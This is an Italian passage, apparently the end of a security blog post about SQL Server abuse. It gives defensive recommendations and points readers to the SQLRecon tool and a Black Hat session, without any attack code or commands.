Abusando di SQL Server, gli avversari possono ottenere un accesso non autorizzato ai dati sensibili, manipolare i database e persino compromettere interi sistemi. Le conseguenze di tali attacchi possono essere gravi, con conseguenti violazioni dei dati, perdite finanziarie e danni alla reputazione di un'organizzazione.

Per mitigare il rischio di questi attacchi, è fondamentale che le organizzazioni rivedano le configurazioni di SQL Server e adottino le best practice di sicurezza. Inoltre, le organizzazioni dovrebbero investire in soluzioni di sicurezza che offrano funzionalità di monitoraggio in tempo reale, rilevamento di anomalie e analisi comportamentale. Queste soluzioni possono aiutare a rilevare e a rispondere agli attacchi in modo più efficace, riducendo al minimo l'impatto potenziale su dati e sistemi critici. Adottando misure proattive per proteggere gli ambienti SQL Server, le organizzazioni possono ridurre significativamente il rischio di cadere vittime di questi attacchi e proteggere i loro asset.

Puoi sempre trovare l'ultima versione stabile di SQLRecon  sulla pagina Github di X-Force Red.

Se parteciperai a Black Hat Las Vegas e vuoi saperne di più, puoi assistere alla mia sessione: Abusing Microsoft SQL Server with SQLRecon giovedì 10 agosto alle 13:00 PT.